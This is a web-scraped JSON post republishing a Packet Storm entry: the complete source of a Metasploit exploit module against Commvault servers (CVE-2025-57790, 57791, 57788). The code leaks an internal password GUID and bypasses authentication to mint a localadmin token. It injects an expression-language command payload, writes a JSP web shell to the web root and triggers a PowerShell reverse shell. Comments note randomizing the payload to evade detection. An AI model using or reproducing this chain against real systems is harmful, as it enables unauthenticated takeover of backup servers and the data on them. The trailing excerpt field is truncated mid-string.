{"id":17886,"date":"2025-09-17T13:28:54","date_gmt":"2025-09-17T13:28:54","guid":{"rendered":"http:\/\/localhost\/?p=17886"},"modified":"2025-09-17T13:28:54","modified_gmt":"2025-09-17T13:28:54","slug":"commvault-cli-argument-injection-traversal-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=17886","title":{"rendered":"\ud83d\udcc4 Commvault CLI Argument Injection \/ Traversal \/ Remote Code Execution_PACKETSTORM:209626"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-09-17T17:19:18&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits an unauthenticated&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-09-17T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-09-17T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Commvault CLI Argument Injection \/ Traversal \/ Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:209626&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-4428&#8243;,&#8221;CVE-2025-57788&#8243;,&#8221;CVE-2025-57790&#8243;,&#8221;CVE-2025-57791&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Remote\\n      Rank = ExcellentRanking\\n    \\n      prepend Msf::Exploit::Remote::AutoCheck\\n      include Msf::Exploit::Remote::HttpClient\\n      include Msf::Exploit::FileDropper\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;Commvault Command-Line Argument Injection to Traversal Remote Code Execution&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              This module exploits an unauthenticated remote code execution exploit chain for Commvault,\\n              tracked as CVE-2025-57790 and CVE-2025-57791. A command-line injection permits unauthenticated\\n              access to the &#8216;localadmin&#8217; account, which then facilitates code execution via expression\\n              language injection. CVE-2025-57788 is also leveraged to leak the target host name, which is\\n              necessary knowledge to exploit the remote code execution chain. This module executes in\\n              the context of &#8216;NETWORK SERVICE&#8217; on Windows.\\n            },\\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;Author&#8217; =\\u003e [\\n              &#8216;Sonny Macdonald&#8217;, # Original discovery\\n              &#8216;Piotr Bazydlo&#8217;, # Original discovery\\n              &#8216;remmons-r7&#8217; # MSF exploit\\n            ],\\n            &#8216;References&#8217; =\\u003e [\\n              [&#8216;CVE&#8217;, &#8216;2025-57790&#8217;],\\n              [&#8216;CVE&#8217;, &#8216;2025-57791&#8217;],\\n              [&#8216;CVE&#8217;, &#8216;2025-57788&#8217;],\\n              # Argument injection advisory\\n              [&#8216;URL&#8217;, &#8216;https:\/\/documentation.commvault.com\/securityadvisories\/CV_2025_08_1.html&#8217;],\\n              # Path traversal advisory\\n              [&#8216;URL&#8217;, &#8216;https:\/\/documentation.commvault.com\/securityadvisories\/CV_2025_08_2.html&#8217;],\\n              # Non-blind expression language payload (from an Ivanti EPMM exploit chain)\\n              [&#8216;URL&#8217;, &#8216;https:\/\/blog.eclecticiq.com\/china-nexus-threat-actor-actively-exploiting-ivanti-endpoint-manager-mobile-cve-2025-4428-vulnerability&#8217;]\\n            ],\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-08-19&#8217;,\\n            # Runs as the &#8216;NETWORK SERVICE&#8217; user on Windows\\n            &#8216;Privileged&#8217; =\\u003e false,\\n            # Although Linux installations are also affected, I didn&#8217;t establish a reliable full path leak on the older Linux version I tested\\n            &#8216;Platform&#8217; =\\u003e [&#8216;windows&#8217;],\\n            &#8216;Arch&#8217; =\\u003e [ARCH_CMD],\\n            &#8216;DefaultTarget&#8217; =\\u003e 0,\\n            &#8216;Targets&#8217; =\\u003e [\\n              [\\n                &#8216;Default&#8217;, {\\n                  &#8216;DefaultOptions&#8217; =\\u003e {\\n                    &#8216;PAYLOAD&#8217; =\\u003e &#8216;cmd\/windows\/powershell_reverse_tcp&#8217;,\\n                    &#8216;SSL&#8217; =\\u003e true\\n                  },\\n                  &#8216;Payload&#8217; =\\u003e {\\n                    # The ampersand character isn&#8217;t properly embedded in payloads sent to the web API, so use a base64 PowerShell command instead\\n                    &#8216;BadChars&#8217; =\\u003e &#8216;\\u0026&#8217;\\n                  }\\n                }\\n              ]\\n            ],\\n            &#8216;Notes&#8217; =\\u003e {\\n              # Confirmed to work multiple times in a row\\n              &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n              &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n              # The log files will contain IOCs, including the written web shell path\\n              # If successful, an abnormal XML file and web shell will be written to disk (will attempt automatic cleanup of JSP file)\\n              # The localadmin user&#8217;s description will be updated to include the expression language payload (although this should be reverted)\\n              &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]\\n            }\\n          )\\n        )\\n    \\n        register_options(\\n          [\\n            Opt::RPORT(443),\\n            OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The base path to Commvault&#8217;, &#8216;\/&#8217;])\\n          ]\\n        )\\n      end\\n    \\n      def check\\n        # Query an unauthenticated web API endpoint to attempt to extract the PublicSharingUser GUID password\\n        res = check_commvault_info\\n    \\n        return CheckCode::Unknown(&#8216;Failed to get a response from the target&#8217;) unless res\\n    \\n        # If the response body contains \\&#8221;cv-gorkha\\&#8221;, we assume it&#8217;s Commvault\\n        if res.code == 200 \\u0026\\u0026 res.body.include?(&#8216;cv-gorkha&#8217;)\\n          vprint_status(&#8216;The server returned a body that included the string cv-gorkha, looks like Commvault&#8217;)\\n    \\n          regex = \/\\&#8221;cv-gorkha\\\\\\\\\\&#8221;:\\\\\\\\\\&#8221;([a-zA-Z0-9-]+)\\\\\\\\\\&#8221;\/\\n          sharinguser_pass = res.body.scan(regex)[0][0]\\n    \\n          # If the regex fails to extract the GUID, we return Safe\\n          if sharinguser_pass.blank?\\n            return CheckCode::Safe(&#8216;The target returned an unexpected response that did not contain the desired GUID&#8217;)\\n          end\\n    \\n          vprint_good(\\&#8221;Fetched GUID: #{sharinguser_pass}\\&#8221;)\\n    \\n          vprint_status(&#8216;Attempting to login as PublicSharingUser&#8217;)\\n          res = login_as_publicsharinguser(sharinguser_pass)\\n    \\n          return CheckCode::Unknown(&#8216;Failed to get a response from the target&#8217;) unless res\\n    \\n          if res.code != 200\\n            CheckCode::Detected(&#8216;Commvault detected, login as PublicSharingUser failed because a non-200 status was returned&#8217;)\\n          end\\n    \\n          # Extract the token from the login response\\n          regex = \/(QSDK [a-zA-Z0-9]+)\/\\n          psu_token = res.body.scan(regex)[0][0]\\n    \\n          if psu_token.blank?\\n            CheckCode::Detected(&#8216;Commvault detected, login as PublicSharingUser failed because no token was returned&#8217;)\\n          else\\n            vprint_good(\\&#8221;Authenticated as PublicSharingUser, got token: #{psu_token}\\&#8221;)\\n            return CheckCode::Vulnerable(&#8216;Successfully authenticated as PublicSharingUser&#8217;)\\n          end\\n    \\n        else\\n          return CheckCode::Safe(&#8216;The target server did not provide a response with the expected password leak&#8217;)\\n        end\\n      end\\n    \\n      def check_commvault_info\\n        vprint_status(&#8216;Attempting to query the publicLink.do endpoint&#8217;)\\n        send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;commandcenter&#8217;, &#8216;publicLink.do&#8217;)\\n        )\\n      end\\n    \\n      def leak_target_info\\n        # The &#8216;activeMQConnectionURL&#8217; leak depicted in the finder blog post is not present on many systems by default\\n        # CVE-2025-57788 can be exploited to access an authenticated web API endpoint that leaks host name and OS info\\n        psu_pass = extract_publicsharinguser_pass\\n    \\n        vprint_status(\\&#8221;Attempting PublicServiceUser login using: #{psu_pass}\\&#8221;)\\n        res = login_as_publicsharinguser(psu_pass)\\n    \\n        fail_with(Failure::Unknown, &#8216;Failed to get a response from the target&#8217;) unless res\\n    \\n        if res.code != 200\\n          fail_with(Failure::NotVulnerable, &#8216;Login as PublicSharingUser failed (non-200 status), the target is likely not vulnerable&#8217;)\\n        end\\n    \\n        # Extract the token from the login response\\n        regex = \/(QSDK [a-zA-Z0-9]+)\/\\n        psu_token = res.body.scan(regex)[0][0]\\n    \\n        if psu_token.blank?\\n          fail_with(Failure::NotVulnerable, &#8216;Login as PublicSharingUser failed (no token returned), the target is likely not vulnerable&#8217;)\\n        end\\n    \\n        vprint_good(\\&#8221;Authenticated as PublicSharingUser, got token: #{psu_token}\\&#8221;)\\n    \\n        res = get_host_info(psu_token)\\n    \\n        fail_with(Failure::Unknown, &#8216;Failed to get a response from the target&#8217;) unless res\\n    \\n        if res.code != 200\\n          fail_with(Failure::Unknown, &#8216;Failed to get host info, the target returned a non-200 status&#8217;)\\n        end\\n    \\n        regex = \/hostName=\\&#8221;([^\\&#8221;]+)\\&#8221; \/\\n        # Extract value, and make sure it isn&#8217;t a FQDN for systems that are joined to a domain (strip period and anything after, if present)\\n        hostname = res.body.scan(regex)[0][0].split(&#8216;.&#8217;).first\\n    \\n        regex = \/osType=\\&#8221;([^\\&#8221;]+)\\&#8221; \/\\n        target_os = res.body.scan(regex)[0][0]\\n    \\n        if hostname.blank? || target_os.blank?\\n          fail_with(Failure::UnexpectedReply, &#8216;The target response unexpectedly did not provide a host name or OS string&#8217;)\\n        end\\n    \\n        return hostname, target_os\\n      end\\n    \\n      def extract_publicsharinguser_pass\\n        # Fetch and extract the GUID that serves double-duty as the internal _+*PublicSharingUser_* user&#8217;s password\\n        res = check_commvault_info\\n    \\n        fail_with(Failure::Unknown, &#8216;Failed to get a response from the target&#8217;) unless res\\n    \\n        # If the response body contains \\&#8221;cv-gorkha\\&#8221;, we assume it&#8217;s Commvault\\n        if res.code == 200 \\u0026\\u0026 res.body.include?(&#8216;cv-gorkha&#8217;)\\n          vprint_status(&#8216;The server returned a body that included the string cv-gorkha, looks like Commvault&#8217;)\\n    \\n          regex = \/\\&#8221;cv-gorkha\\\\\\\\\\&#8221;:\\\\\\\\\\&#8221;([a-zA-Z0-9-]+)\\\\\\\\\\&#8221;\/\\n          sharinguser_pass = res.body.scan(regex)[0][0]\\n    \\n          # If the regex fails to extract the GUID, we return NoAccess\\n          if sharinguser_pass.blank? \\u0026\\u0026 hostname.blank?\\n            fail_with(Failure::NoAccess, &#8216;The target server is Commvault, but the PublicSharingUser password could not be leaked&#8217;)\\n          end\\n    \\n          vprint_good(\\&#8221;Fetched GUID: #{sharinguser_pass}\\&#8221;)\\n          return sharinguser_pass\\n        else\\n          fail_with(Failure::UnexpectedReply, &#8216;The target server did not provide a response with the expected password leak&#8217;)\\n        end\\n      end\\n    \\n      def login_as_publicsharinguser(password)\\n        # Use the leaked GUID value to login as the _+*PublicSharingUser_* user (CVE-2025-57788)\\n        # This level of access is used to leak the host name via a low-privilege authenticated API endpoint\\n    \\n        send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;commandcenter&#8217;, &#8216;api&#8217;, &#8216;Login&#8217;),\\n          &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n          &#8216;data&#8217; =\\u003e {\\n            &#8216;username&#8217; =\\u003e &#8216;_+_PublicSharingUser_&#8217;,\\n            # Passwords are base64 encoded for login\\n            &#8216;password&#8217; =\\u003e Base64.strict_encode64(password)\\n          }.to_json\\n        )\\n      end\\n    \\n      def get_host_info(token)\\n        # Extract the host name and OS from an authenticated API as PublicServiceUser\\n        vprint_status(&#8216;Attempting to query authenticated API endpoint to get host name and OS&#8217;)\\n    \\n        send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;commandcenter&#8217;, &#8216;api&#8217;, &#8216;CommServ&#8217;),\\n          &#8216;headers&#8217; =\\u003e {\\n            &#8216;Authtoken&#8217; =\\u003e token\\n          }\\n        )\\n      end\\n    \\n      def bypass_authentication(hostname)\\n        # Bypass authentication and return a valid token for the internal localadmin user\\n        vprint_status(\\&#8221;Attempting to mint a localadmin token using hostname: #{hostname}\\&#8221;)\\n    \\n        send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;commandcenter&#8217;, &#8216;api&#8217;, &#8216;Login&#8217;),\\n          &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n          &#8216;data&#8217; =\\u003e {\\n            # Username must contain the valid system host name\\n            &#8216;username&#8217; =\\u003e \\&#8221;#{hostname}_localadmin__\\&#8221;,\\n            # Since the malicious password to bypass authentication is a static string, randomly pad with spaces to subvert easy static detections\\n            &#8216;password&#8217; =\\u003e Base64.strict_encode64(\\&#8221;#{&#8216; &#8216; * rand(1..8)}a#{&#8216; &#8216; * rand(1..8)}-localadmin#{&#8216; &#8216; * rand(1..8)}\\&#8221;),\\n            # Must contain the valid system host name, cannot be padded with spaces\\n            &#8216;commserver&#8217; =\\u003e \\&#8221;#{hostname} -cs #{hostname}\\&#8221;\\n          }.to_json\\n        )\\n      end\\n    \\n      def leak_full_path(token)\\n        # Since we need to provide a full filesystem path to write the web shell, we need to know what the installation path is\\n        # We&#8217;ll attempt to use an authenticated API to leak this information\\n        send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;commandcenter&#8217;, &#8216;api&#8217;, &#8216;Workflow&#8217;),\\n          &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n          &#8216;headers&#8217; =\\u003e {\\n            &#8216;Authtoken&#8217; =\\u003e token,\\n            &#8216;Accept&#8217; =\\u003e &#8216;application\/json&#8217;\\n          }\\n        )\\n      end\\n    \\n      def get_user_desc(token, uid)\\n        # Grab the pre-existing user description to reinstate after exploitation\\n        res = send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;commandcenter&#8217;, &#8216;RestServlet&#8217;, &#8216;User&#8217;, uid),\\n          &#8216;headers&#8217; =\\u003e {\\n            &#8216;Authtoken&#8217; =\\u003e token,\\n            &#8216;Accept&#8217; =\\u003e &#8216;application\/json&#8217;\\n          }\\n        )\\n    \\n        fail_with(Failure::Unknown, &#8216;No response when getting user description&#8217;) unless res\\n    \\n        if res.code != 200\\n          fail_with(Failure::UnexpectedReply, &#8216;The target did not return a 200 code when checking the user description&#8217;)\\n        end\\n    \\n        res.get_json_document[&#8216;users&#8217;][0][&#8216;description&#8217;]\\n      end\\n    \\n      def update_user_desc(token, uid, desc)\\n        # Perform a request to update the user description\\n        xml_data = \\&#8221;\\u003cApp_UpdateUserPropertiesRequest\\u003e\\u003cusers\\u003e\\u003cAppMsg.UserInfo\\u003e\\u003cuserEntity\\u003e\\u003cuserId\\u003e#{uid}\\u003c\/userId\\u003e\\u003c\/userEntity\\u003e\\u003cdescription\\u003e#{desc}\\u003c\/description\\u003e\\u003c\/AppMsg.UserInfo\\u003e\\u003c\/users\\u003e\\u003c\/App_UpdateUserPropertiesRequest\\u003e\\&#8221;\\n        vprint_status(\\&#8221;Updating user description: #{xml_data}\\&#8221;)\\n    \\n        send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;ctype&#8217; =\\u003e &#8216;application\/xml&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;commandcenter&#8217;, &#8216;RestServlet&#8217;, &#8216;User&#8217;, uid),\\n          &#8216;headers&#8217; =\\u003e {\\n            &#8216;Authtoken&#8217; =\\u003e token\\n          },\\n          &#8216;data&#8217; =\\u003e xml_data\\n        )\\n      end\\n    \\n      def execute_command(hostname, uid, cmd, token, install_path, prev_desc)\\n        # This EL injection payload was taken from EITW of an Ivanti vuln. It&#8217;s non-blind, which is a nice benefit\\n        # Note that ampersand is a bad character in the injection context\\n        payload = \\&#8221;${&#8221;.getClass().forName(&#8216;java.util.Scanner&#8217;).getConstructor(&#8221;.getClass().forName(&#8216;java.io.InputStream&#8217;)).newInstance(&#8221;.getClass().forName(&#8216;java.lang.Runtime&#8217;).getMethod(&#8216;getRuntime&#8217;).invoke(null).exec(&#8216;#{cmd}&#8217;).getInputStream()).useDelimiter(&#8216;%5C%5CA&#8217;).next()}\\&#8221;\\n    \\n        # Weaponize unauthenticated file upload to create an XML file that defines an operation to retrieve user details\\n        user_details_op_xml = \\&#8221;\\u003cApp_GetUserPropertiesRequest level=\\\\\\&#8221;30\\\\\\&#8221;\\u003e\\\\r\\\\n\\\\t\\u003cuser userName=\\\\\\&#8221;#{hostname}_localadmin__\\\\\\&#8221; \/\\u003e\\u003c\/App_GetUserPropertiesRequest\\u003e\\&#8221;\\n        message = Rex::MIME::Message.new\\n    \\n        # These can be anything. Random hex str to avoid signatures where possible\\n        random_str = rand_text_hex(8)\\n        message.add_part(random_str, nil, nil, &#8216;form-data; name=\\&#8221;username\\&#8221;&#8216;)\\n        message.add_part(random_str, nil, nil, &#8216;form-data; name=\\&#8221;password\\&#8221;&#8216;)\\n        message.add_part(random_str, nil, nil, &#8216;form-data; name=\\&#8221;ccid\\&#8221;&#8216;)\\n        message.add_part(random_str, nil, nil, &#8216;form-data; name=\\&#8221;uploadToken\\&#8221;&#8216;)\\n    \\n        # File contents to write\\n        message.add_part(user_details_op_xml, nil, nil, \\&#8221;form-data; name=\\\\\\&#8221;file\\\\\\&#8221;; filename=\\\\\\&#8221;#{random_str}.xml\\\\\\&#8221;\\&#8221;)\\n    \\n        vprint_status(\\&#8221;Uploading XML file: #{user_details_op_xml}\\&#8221;)\\n    \\n        res = send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;commandcenter&#8217;, &#8216;metrics&#8217;, &#8216;metricsUpload.do&#8217;),\\n          &#8216;ctype&#8217; =\\u003e \\&#8221;multipart\/form-data; boundary=#{message.bound}\\&#8221;,\\n          &#8216;data&#8217; =\\u003e message.to_s\\n        )\\n    \\n        fail_with(Failure::Unknown, &#8216;No response when uploading XML file&#8217;) unless res\\n    \\n        if res.code != 200\\n          vprint_status(\\&#8221;Unexpected status code: #{res.code}\\&#8221;)\\n          fail_with(Failure::UnexpectedReply, &#8216;Non-200 status code when uploading XML file&#8217;)\\n        end\\n    \\n        # The localadmin user&#8217;s description is set to EL payload\\n        res = update_user_desc(token, uid, payload)\\n    \\n        fail_with(Failure::Unknown, &#8216;No response when setting user description&#8217;) unless res\\n    \\n        if res.code != 200\\n          fail_with(Failure::UnexpectedReply, &#8216;The target did not return a 200 code when updating user description&#8217;)\\n        end\\n    \\n        # Wrap in begin\/ensure so that the injection in localadmin user description will be cleaned up\\n        begin\\n          # Move XML file to web shell\\n          qcommand_op = \\&#8221;qoperation execute -af #{install_path}\\\\\\\\Reports\\\\\\\\MetricsUpload\\\\\\\\Upload\\\\\\\\#{random_str}\\\\\\\\#{random_str}.xml -file #{install_path}\\\\\\\\Apache\\\\\\\\webapps\\\\\\\\ROOT\\\\\\\\#{random_str}.jsp\\&#8221;\\n    \\n          vprint_status(\\&#8221;Moving XML file to web shell: #{qcommand_op}\\&#8221;)\\n    \\n          res = send_request_cgi(\\n            &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n            &#8216;ctype&#8217; =\\u003e &#8216;text\/plain&#8217;,\\n            &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;commandcenter&#8217;, &#8216;RestServlet&#8217;, &#8216;QCommand&#8217;),\\n            &#8216;headers&#8217; =\\u003e {\\n              &#8216;Authtoken&#8217; =\\u003e token\\n            },\\n            &#8216;data&#8217; =\\u003e qcommand_op\\n          )\\n    \\n          fail_with(Failure::Unknown, &#8216;No response when creating web shell&#8217;) unless res\\n    \\n          if res.code != 200 || !res.body.include?(&#8216;Operation Successful.Results written&#8217;)\\n            fail_with(Failure::UnexpectedReply, &#8216;The target did not return a 200 code with success message when creating web shell&#8217;)\\n          end\\n    \\n          # Register the newly written JSP web shell file for cleanup\\n          register_file_for_cleanup(\\&#8221;#{install_path}\\\\\\\\Apache\\\\\\\\webapps\\\\\\\\ROOT\\\\\\\\#{random_str}.jsp\\&#8221;)\\n    \\n          # Access the web shell to trigger remote code execution\\n          vprint_status(\\&#8221;Accessing the web shell file: #{random_str}.jsp\\&#8221;)\\n    \\n          send_request_cgi({\\n            &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n            &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, \\&#8221;#{random_str}.jsp\\&#8221;)\\n          }, nil)\\n        ensure\\n          # Reinstate the pre-existing user description\\n          res = update_user_desc(token, uid, prev_desc)\\n    \\n          fail_with(Failure::Unknown, &#8216;No response when resetting user description&#8217;) unless res\\n    \\n          if res.code != 200\\n            fail_with(Failure::UnexpectedReply, &#8216;The target did not return a 200 code when resetting user description&#8217;)\\n          end\\n        end\\n      end\\n    \\n      def parse_json(json_inp, hostname)\\n        # Extract full path disclosure for the target host from the parameter #1 API response JSON\\n    \\n        container = Array(json_inp[&#8216;container&#8217;])\\n        deployments = container.flat_map { |c| Array(c[&#8216;deployments&#8217;]) }\\n    \\n        # Find \\&#8221;{drive}:\\\\\\\\\\&#8221;\\&#8221; + any number of intermediary directories + \\&#8221;\\\\\\\\Commvault\\\\\\\\ContentStore\\&#8221;, and only where sibling &#8216;clientName&#8217; is the Commvault server\\n        regex = \/([A-Z]:\\\\\\\\(?:[^\\\\\\\\]+\\\\\\\\)*Commvault\\\\\\\\ContentStore)\\\\\\\\?\/i\\n    \\n        # This gets a little gnarly, but it has worked for all the test data I have tried (including Commvault documentation example responses)\\n        # Can&#8217;t simply search for Windows file path patterns here, because this API endpoint also returns some file paths from other hosts\\n        paths = deployments\\n                .select { |d| d.dig(&#8216;client&#8217;, &#8216;clientName&#8217;)\\u0026.casecmp?(hostname) }\\n                .map { |d| d.dig(&#8216;inputForm&#8217;, &#8216;destPath&#8217;) }\\n                .compact\\n                .map { |p| p.tr(&#8216;\/&#8217;, &#8216;\\\\\\\\&#8217;) }\\n                .filter_map { |p| p[regex, 1] }\\n    \\n        if paths.blank?\\n          fail_with(Failure::NotFound, &#8216;The target unexpectedly did not return a full path disclosure&#8217;)\\n        end\\n    \\n        # Return the first full path disclosure and swap the double backslashes for single (for use in QOperation rejects double backslashes)\\n        paths[0].gsub(&#8216;\\\\\\\\\\\\\\\\&#8217;, &#8216;\\\\\\\\&#8217;)\\n      end\\n    \\n      def exploit\\n        # Leak the PublicSharingUser GUID password, authenticate, then query an authenticated API endpoint for target info\\n        leaked = leak_target_info\\n    \\n        hostname = leaked[0]\\n        target_os = leaked[1]\\n    \\n        if hostname.blank? || target_os.blank?\\n          fail_with(Failure::Unknown, &#8216;Unexpectedly unable to query target system details as PublicSharingUser&#8217;)\\n        end\\n    \\n        vprint_good(\\&#8221;Got target host name: #{hostname}\\&#8221;)\\n        vprint_good(\\&#8221;Got target host OS: #{target_os}\\&#8221;)\\n    \\n        # Check to confirm the target is supported\\n        if (target_os.casecmp(&#8216;windows&#8217;) != 0)\\n          fail_with(Failure::BadConfig, &#8216;This module only supports Windows targets&#8217;)\\n        end\\n    \\n        # Attempt to use the host name to exploit the authentication bypass and retrieve a localadmin token\\n        res = bypass_authentication(hostname)\\n    \\n        fail_with(Failure::Unknown, &#8216;Failed to get a response from the target&#8217;) unless res\\n    \\n        # If the response is 200 and includes the token prefix, grab that token\\n        if res.code == 200 \\u0026\\u0026 res.body.include?(&#8216;\\&#8221;QSDK &#8216;)\\n          print_good(&#8216;Successfully bypassed authentication&#8217;)\\n    \\n          # Extract token for later use (cookie is also persisted)\\n          regex = \/(QSDK [a-zA-Z0-9]+)\/\\n          admin_token = res.body.scan(regex)[0][0]\\n    \\n          vprint_status(\\&#8221;Admin token: #{admin_token}\\&#8221;)\\n    \\n          # Extract the aliasName field, which contains the dynamic user ID number (typically single digit)\\n          regex = \/aliasName[=:]\\&#8221;(\\\\d\\\\d?)\/\\n          admin_uid = res.body.scan(regex)[0][0]\\n          vprint_status(\\&#8221;Extracted localadmin user ID number: #{admin_uid}\\&#8221;)\\n    \\n        # If the response doesn&#8217;t contain the admin token, the exploit has failed\\n        else\\n          fail_with(Failure::NoAccess, &#8216;The authentication bypass failed &#8211; the target may not be vulnerable, or perhaps the host name leak failed&#8217;)\\n        end\\n    \\n        # Hit the admin-only web API endpoint that leaks one or more full Windows file paths\\n        res = leak_full_path(admin_token)\\n    \\n        fail_with(Failure::Unknown, &#8216;Failed to get a response from the target&#8217;) unless res\\n    \\n        if res.code != 200\\n          fail_with(Failure::Unknown, &#8216;The target returned a non-200 status when attempting to leak full path&#8217;)\\n        end\\n    \\n        # Assign the JSON response body\\n        leaked_json = res.get_json_document\\n    \\n        vprint_status(&#8216;Got JSON response, searching for installation path disclosures&#8217;)\\n    \\n        # Parse the JSON and find entries matching the host name, then walk to an adjacent key to leak installation path\\n        install_path = parse_json(leaked_json, hostname)\\n        vprint_good(\\&#8221;Leaked the installation path: #{install_path}\\&#8221;)\\n    \\n        # Grab the pre-existing user description to reinstate after RCE is established\\n        user_desc = get_user_desc(admin_token, admin_uid)\\n    \\n        vprint_status(\\&#8221;Got user description: #{user_desc}\\&#8221;)\\n    \\n        # Plant malicious code in user description, upload XML file for user info, then create the web shell\\n        execute_command(hostname, admin_uid, payload.encoded, admin_token, install_path, user_desc)\\n      end\\n    end&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/209626&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.8,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/209626\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-09-17T17:19:18&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits an unauthenticated&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-09-17T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-09-17T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Commvault CLI Argument Injection \/ Traversal \/ Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:209626&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-4428&#8243;,&#8221;CVE-2025-57788&#8243;,&#8221;CVE-2025-57790&#8243;,&#8221;CVE-2025-57791&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n # This module requires 